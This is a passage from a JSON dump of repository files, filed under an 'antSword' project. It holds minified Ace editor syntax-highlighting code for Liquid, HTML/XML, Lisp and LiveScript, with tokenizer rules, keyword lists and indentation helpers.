]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]},(!e||!e.noES6)&&this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:s},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(o,s),t.JavaScriptHighlightRules=o}),ace.define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),ace.define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules(o,\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),ace.define(\"ace/mode/liquid_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\",\"ace/mode/html_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=e(\"./html_highlight_rules\").HtmlHighlightRules,o=function(){s.call(this);var e=\"date|capitalize|downcase|upcase|first|last|join|sort|map|size|escape|escape_once|strip_html|strip_newlines|newline_to_br|replace|replace_first|truncate|truncatewords|prepend|append|minus|plus|times|divided_by|split\",t=\"capture|endcapture|case|endcase|when|comment|endcomment|cycle|for|endfor|in|reversed|if|endif|else|elsif|include|endinclude|unless|endunless|style|text|image|widget|plugin|marker|endmarker|tablerow|endtablerow\",n=\"forloop|tablerowloop\",r=\"assign\",i=this.createKeywordMapper({\"variable.language\":n,keyword:t,\"support.function\":e,\"keyword.definition\":r},\"identifier\");for(var o in this.$rules)this.$rules[o].unshift({token:\"variable\",regex:\"{%\",push:\"liquid-start\"},{token:\"variable\",regex:\"{{\",push:\"liquid-start\"});this.addRules({\"liquid-start\":[{token:\"variable\",regex:\"}}\",next:\"pop\"},{token:\"variable\",regex:\"%}\",next:\"pop\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:i,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"/|\\\\*|\\\\-|\\\\+|=|!=|\\\\?\\\\:\"},{token:\"paren.lparen\",regex:/[\\[\\({]/},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"text\",regex:\"\\\\s+\"}]}),this.normalizeRules()};r.inherits(o,i),t.LiquidHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/liquid\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/liquid_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\"],function(e,t,n){var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./liquid_highlight_rules\").LiquidHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=function(){this.HighlightRules=s,this.$outdent=new o};r.inherits(a,i),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var u=t.match(/^.*[\\{\\(\\[]\\s*$/);u&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/liquid\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "antSword/static/libs/ace/mode-lisp.js",
    "content": "ace.define(\"ace/mode/lisp_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"case|do|let|loop|if|else|when\",t=\"eq|neq|and|or\",n=\"null|nil\",r=\"cons|car|cdr|cond|lambda|format|setq|setf|quote|eval|append|list|listp|memberp|t|load|progn\",i=this.createKeywordMapper({\"keyword.control\":e,\"keyword.operator\":t,\"constant.language\":n,\"support.function\":r},\"identifier\",!0);this.$rules={start:[{token:\"comment\",regex:\";.*$\"},{token:[\"storage.type.function-type.lisp\",\"text\",\"entity.name.function.lisp\"],regex:\"(?:\\\\b(?:(defun|defmethod|defmacro))\\\\b)(\\\\s+)((?:\\\\w|\\\\-|\\\\!|\\\\?)*)\"},{token:[\"punctuation.definition.constant.character.lisp\",\"constant.character.lisp\"],regex:\"(#)((?:\\\\w|[\\\\\\\\+-=<>'\\\"&#])+)\"},{token:[\"punctuation.definition.variable.lisp\",\"variable.other.global.lisp\",\"punctuation.definition.variable.lisp\"],regex:\"(\\\\*)(\\\\S*)(\\\\*)\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+(?:L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?(?:L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:i,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"}],qqstring:[{token:\"constant.character.escape.lisp\",regex:\"\\\\\\\\.\"},{token:\"string\",regex:'[^\"\\\\\\\\]+'},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"start\"}]}};r.inherits(s,i),t.LispHighlightRules=s}),ace.define(\"ace/mode/lisp\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/lisp_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./lisp_highlight_rules\").LispHighlightRules,o=function(){this.HighlightRules=s};r.inherits(o,i),function(){this.lineCommentStart=\";\",this.$id=\"ace/mode/lisp\"}.call(o.prototype),t.Mode=o})"
  },
  {
    "path": "antSword/static/libs/ace/mode-live_script.js",
    "content": "ace.define(\"ace/mode/live_script_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"punctuation.definition.comment.livescript\",regex:\"\\\\/\\\\*\",push:[{token:\"punctuation.definition.comment.livescript\",regex:\"\\\\*\\\\/\",next:\"pop\"},{token:\"storage.type.annotation.livescriptscript\",regex:\"@\\\\w*\"},{defaultToken:\"comment.block.livescript\"}]},{token:[\"punctuation.definition.comment.livescript\",\"comment.line.number-sign.livescript\"],regex:\"(#)(?!\\\\{)(.*$)\"},{token:[\"variable.parameter.function.livescript\",\"meta.inline.function.livescript\",\"storage.type.function.livescript\",\"meta.inline.function.livescript\",\"variable.parameter.function.livescript\",\"meta.inline.function.livescript\",\"storage.type.function.livescript\"],regex:\"(\\\\s*\\\\!?\\\\(\\\\s*[^()]*?\\\\))(\\\\s*)(!?[~-]{1,2}>)|(\\\\s*\\\\!?)(\\\\(?[^()]*?\\\\)?)(\\\\s*)(<[~-]{1,2}!?)\",comment:\"match stuff like: a -> \\u2026 \"},{token:[\"keyword.operator.new.livescript\",\"meta.class.instance.constructor\",\"entity.name.type.instance.livescript\"],regex:\"(new)(\\\\s+)(\\\\w+(?:\\\\.\\\\w*)*)\"},{token:\"keyword.illegal.livescript\",regex:\"\\\\bp(?:ackage|r(?:ivate|otected)|ublic)|interface|enum|static|yield\\\\b\"},{token:\"punctuation.definition.string.begin.livescript\",regex:\"'''\",push:[{token:\"punctuation.definition.string.end.livescript\",regex:\"'''\",next:\"pop\"},{defaultToken:\"string.quoted.heredoc.livescript\"}]},{token:\"punctuation.definition.string.begin.livescript\",regex:'\"\"\"',push:[{token:\"punctuation.definition.string.end.livescript\",regex:'\"\"\"',next:\"pop\"},{token:\"constant.character.escape.livescript\",regex:\"\\\\\\\\.\"},{include:\"#interpolated_livescript\"},{defaultToken:\"string.quoted.double.heredoc.livescript\"}]},{token:\"punctuation.definition.string.begin.livescript\",regex:\"``\",push:[{token:\"punctuation.definition.string.end.livescript\",regex:\"``\",next:\"pop\"},{token:\"constant.character.escape.livescript\",regex:\"\\\\\\\\(?:x[\\\\da-fA-F]{2}|[0-2][0-7]{0,2}|3[0-6][0-7]|37[0-7]?|[4-7][0-7]?|.)\"},{defaultToken:\"string.quoted.script.livescript\"}]},{token:\"string.array-literal.livescript\",regex:\"<\\\\[\",push:[{token:\"string.array-literal.livescript\",regex:\"\\\\]>\",next:\"pop\"},{defaultToken:\"string.array-literal.livescript\"}]},{token:\"string.regexp.livescript\",regex:\"/{2}(?![\\\\s=/*+{}?]).*?[^\\\\\\\\]/[igmy]{0,4}(?![a-zA-Z0-9])/{2}\"},{token:\"string.regexp.livescript\",regex:\"/{2}$\",push:[{token:\"string.regexp.livescript\",regex:\"/{2}[imgy]{0,4}\",next:\"pop\"},{include:\"#embedded_spaced_comment\"},{include:\"#interpolated_livescript\"},{defaultToken:\"string.regexp.livescript\"}]},{token:\"string.regexp.livescript\",regex:\"/{2}\",push:[{token:\"string.regexp.livescript\",regex:\"/{2}[imgy]{0,4}\",next:\"pop\"},{token:\"constant.character.escape.livescript\",regex:\"\\\\\\\\(?:x[\\\\da-fA-F]{2}|[0-2][0-7]{0,2}|3[0-6][0-7]|37[0-7]?|[4-7][0-7]?|.)\"},{include:\"#interpolated_livescript\"},{defaultToken:\"string.regexp.livescript\"}]},{token:\"string.regexp.livescript\",regex:\"/(?![\\\\s=/*+{}?]).*?[^\\\\\\\\]/[igmy]{0,4}(?![a-zA-Z0-9])\"},{token:\"keyword.control.livescript\",regex:\"\\\\b(?<![\\\\.\\\\$\\\\-])(?:t(?:h(?:is|row|en)|ry|ypeof!?|il|o)|c(?:on(?:tinue|st)|a(?:se|tch)|lass)|i(?:n(?:stanceof)?|mp(?:ort(?:\\\\s+all)?|lements)|[fs])|d(?:e(?:fault|lete|bugger)|o)|f(?:or(?:\\\\s+own)?|inally|unction|rom|allthrough)|s(?:uper|witch)|e(?:lse|x(?:tends|port)|val)|a(?:nd|rguments)|n(?:ew|ot)|un(?:less|til)|w(?:hile|ith|hen)|o(?:f|r|therwise)|return|break|let|var|loop|match|by)(?!\\\\-|\\\\s*:)\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?x)\\n\t\t\t\t\\\\b(?<![\\\\.\\\\$\\\\-])(?:\\n\t\t        t(?:h(?:is|row|en)|ry|ypeof!?|il|o)\\n\t\t        |c(?:on(?:tinue|st)|a(?:se|tch)|lass)\\n\t\t        |i(?:n(?:stanceof)?|mp(?:ort(?:\\\\s+all)?|lements)|[fs])\\n\t\t        |d(?:e(?:fault|lete|bugger)|o)\\n\t\t        |f(?:or(?:\\\\s+own)?|inally|unction|rom|allthrough)\\n\t\t        |s(?:uper|witch)\\n\t\t        |e(?:lse|x(?:tends|port)|val)\\n\t\t        |a(?:nd|rguments)\\n\t\t        |n(?:ew|ot)\\n\t\t        |un(?:less|til)\\n\t\t        |w(?:hile|ith|hen)\\n\t\t        |o(?:f|r|therwise)\\n\t\t        |return|break|let|var|loop\\n\t\t        |match\\n\t\t        |by\\n\t\t\t\t)(?!\\\\-|\\\\s*:)\\\\b\\n\t\t\t\"},{token:\"keyword.operator.livescript\",regex:\"\\\\b(?<![\\\\.\\\\$\\\\-])(?:instanceof|new|delete|typeof|and|or|is|isnt|not)(?!\\\\-|\\\\s*:)\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?x)\\n\t\t\t\t\\\\b(?<![\\\\.\\\\$\\\\-])(\\n\t\t\t\t\tinstanceof|new|delete|typeof|and|or|is|isnt|not\\n\t\t\t\t)(?!\\\\-|\\\\s*:)\\\\b\\n\t\t\t\"},{token:\"keyword.operator.livescript\",regex:\"and=|or=|%|&|\\\\^|\\\\*|\\\\/|(?<![a-zA-Z$_])(?:\\\\-)?\\\\-(?!\\\\-?>)|\\\\+\\\\+|\\\\+|~(?!~?>)|==|=|!=|<=|>=|<<=|>>=|>>>=|<>|<(?!\\\\[)|(?<!\\\\])>|(?<!\\\\w)!(?!(?:[~\\\\-]+)?>)|&&|\\\\.\\\\.(?:\\\\.)?|\\\\s\\\\.\\\\s|\\\\?|\\\\||\\\\|\\\\||\\\\:|\\\\*=|(?<!\\\\()/=|%=|\\\\+=|\\\\-=|\\\\.=|&=|\\\\(\\\\.|\\\\.\\\\)|\\\\^=\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?x)\\n\t\t\t\tand=|or=|%|&|\\\\^|\\\\*|\\\\/|(?<![a-zA-Z$_])(\\\\-)?\\\\-(?!\\\\-?>)|\\\\+\\\\+|\\\\+|\\n\t\t\t\t~(?!~?>)|==|=|!=|<=|>=|<<=|>>=|\\n\t\t\t\t>>>=|<>|<(?!\\\\[)|(?<!\\\\])>|(?<!\\\\w)!(?!([~\\\\-]+)?>)|&&|\\\\.\\\\.(\\\\.)?|\\\\s\\\\.\\\\s|\\\\?|\\\\||\\\\|\\\\||\\\\:|\\\\*=|(?<!\\\\()/=|%=|\\\\+=|\\\\-=|\\\\.=|&=|\\\\(\\\\.|\\\\.\\\\)|\\n\t\t\t\t\\\\^=\\n\t\t\t\"},{token:[\"variable.assignment.livescript\",\"variable.assignment.livescript\",\"variable.assignment.livescript\",\"punctuation.separator.key-value\",\"keyword.operator.livescript\",\"variable.assignment.livescript\"],regex:\"([a-zA-Z\\\\$_])((?:[\\\\w$.-])*)(\\\\s*)(?!\\\\::)(?:(:)|(=))(\\\\s*)(?!(?:\\\\s*!?\\\\s*\\\\(.*\\\\))?\\\\s*!?[~-]{1,2}>)\"},{token:\"keyword.operator.livescript\",regex:\"(?<=\\\\s|^)[\\\\[\\\\{](?=.*?[\\\\]\\\\}]\\\\s+[:=])\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?<=\\\\s|^)([\\\\[\\\\{])(?=.*?[\\\\]\\\\}]\\\\s+[:=])\",push:[{token:\"keyword.operator.livescript\",regex:\"[\\\\]\\\\}]\\\\s*[:=]\",next:\"pop\"},{include:\"#variable_name\"},{include:\"#instance_variable\"},{include:\"#single_quoted_string\"},{include:\"#double_quoted_string\"},{include:\"#numeric\"},{defaultToken:\"meta.variable.assignment.destructured.livescript\"}]},{token:[\"meta.function.livescript\",\"entity.name.function.livescript\",\"entity.name.function.livescript\",\"entity.name.function.livescript\",\"entity.name.function.livescript\",\"variable.parameter.function.livescript\",\"entity.name.function.livescript\",\"storage.type.function.livescript\"],regex:\"(\\\\s*)(?=[a-zA-Z\\\\$_])([a-zA-Z\\\\$_])((?:[\\\\w$.:-])*)(\\\\s*)([:=])((?:\\\\s*!?\\\\s*\\\\(.*\\\\))?)(\\\\s*)(!?[~-]{1,2}>)\"},{token:\"storage.type.function.livescript\",regex:\"!?[~-]{1,2}>\"},{token:\"constant.language.boolean.true.livescript\",regex:\"\\\\b(?<!\\\\.)(?:true|on|yes)(?!\\\\s*[:=])\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"\\\\b(?<!\\\\.)(true|on|yes)(?!\\\\s*[:=])\\\\b\"},{token:\"constant.language.boolean.false.livescript\",regex:\"\\\\b(?<!\\\\.)(?:false|off|no)(?!\\\\s*[:=])\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"\\\\b(?<!\\\\.)(false|off|no)(?!\\\\s*[:=])\\\\b\"},{token:\"constant.language.null.livescript\",regex:\"\\\\b(?<!\\\\.)(?:null|void)(?!\\\\s*[:=])\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"\\\\b(?<!\\\\.)(null|void)(?!\\\\s*[:=])\\\\b\"},{token:\"variable.language.livescript\",regex:\"\\\\b(?<!\\\\.)(?:super|this|extends)(?!\\\\s*[:=])\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"\\\\b(?<!\\\\.)(super|this|extends)(?!\\\\s*[:=])\\\\b\"},{token:[\"storage.type.class.livescript\",\"meta.class.livescript\",\"entity.name.type.class.livescript\",\"meta.class.livescript\",\"keyword.control.inheritance.livescript\",\"meta.class.livescript\",\"entity.other.inherited-class.livescript\"],regex:\"(class\\\\b)(\\\\s+)((?:@?[a-zA-Z$_][\\\\w$.-]*)?)(?:(\\\\s+)(extends)(\\\\s+)(@?[a-zA-Z$_][\\\\w$.-]*))?\"},{token:\"keyword.other.livescript\",regex:\"\\\\b(?:debugger|\\\\\\\\)\\\\b\"},{token:\"support.class.livescript\",regex:\"\\\\b(?:Array|ArrayBuffer|Blob|Boolean|Date|document|event|Function|Int(?:8|16|32|64)Array|Math|Map|Number|Object|Proxy|RegExp|Set|String|WeakMap|window|Uint(?:8|16|32|64)Array|XMLHttpRequest)\\\\b\"},{token:\"entity.name.type.object.livescript\",regex:\"\\\\bconsole\\\\b\"},{token:\"support.function.console.livescript\",regex:\"(?<=console\\\\.)(?:debug|warn|info|log|error|time(?:End|-end)|assert)\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"((?<=console\\\\.)(debug|warn|info|log|error|time(End|-end)|assert))\\\\b\"},{token:\"support.function.livescript\",regex:\"\\\\b(?:decodeURI(?:Component)?|encodeURI(?:Component)?|eval|parse(?:Float|Int)|require)\\\\b\"},{token:\"support.function.prelude.livescript\",regex:\"(?<![.-])\\\\b(?:map|filter|reject|partition|find|each|head|tail|last|initial|empty|values|keys|length|cons|append|join|reverse|fold(?:l|r)?1?|unfoldr|and(?:List|-list)|or(?:List|-list)|any|all|unique|sum|product|mean|compact|concat(?:Map|-map)?|maximum|minimum|scan(?:l|r)?1?|replicate|slice|apply|split(?:At|-at)?|take(?:While|-while)?|drop(?:While|-while)?|span|first|break(?:It|-it)|list(?:ToObj|-to-obj)|obj(?:ToFunc|-to-func)|pairs(?:ToObj|-to-obj)|obj(?:ToPairs|-to-pairs|ToLists|-to-lists)|zip(?:All|-all)?(?:With|-with)?|compose|curry|partial|flip|fix|sort(?:With|-with|By|-by)?|group(?:By|-by)|break(?:List|-list|Str|-str)|difference|intersection|union|average|flatten|chars|unchars|repeat|lines|unlines|words|unwords|max|min|negate|abs|signum|quot|rem|div|mod|recip|pi|tau|exp|sqrt|ln|pow|sin|cos|tan|asin|acos|atan|atan2|truncate|round|ceiling|floor|is(?:It|-it)NaN|even|odd|gcd|lcm|disabled__id)\\\\b(?![.-])\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?x)(?<![.-])\\\\b(\\n\t\t\t\tmap|filter|reject|partition|find|each|head|tail|last|initial|empty|\\n\t\t\t\tvalues|keys|length|cons|append|join|reverse|fold(l|r)?1?|unfoldr|\\n\t\t\t\tand(List|-list)|or(List|-list)|any|all|unique|sum|product|mean|compact|\\n\t\t\t\tconcat(Map|-map)?|maximum|minimum|scan(l|r)?1?|replicate|slice|apply|\\n\t\t\t\tsplit(At|-at)?|take(While|-while)?|drop(While|-while)?|span|first|\\n\t\t\t\tbreak(It|-it)|list(ToObj|-to-obj)|obj(ToFunc|-to-func)|\\n\t\t\t\tpairs(ToObj|-to-obj)|obj(ToPairs|-to-pairs|ToLists|-to-lists)|\\n\t\t\t\tzip(All|-all)?(With|-with)?|compose|curry|partial|flip|fix|\\n\t\t\t\tsort(With|-with|By|-by)?|group(By|-by)|break(List|-list|Str|-str)|\\n\t\t\t\tdifference|intersection|union|average|flatten|chars|unchars|repeat|\\n\t\t\t\tlines|unlines|words|unwords|max|min|negate|abs|signum|quot|rem|div|mod|\\n\t\t\t\trecip|pi|tau|exp|sqrt|ln|pow|sin|cos|tan|asin|acos|atan|atan2|truncate|\\n\t\t\t\tround|ceiling|floor|is(It|-it)NaN|even|odd|gcd|lcm|disabled__id\\n\t\t\t)\\\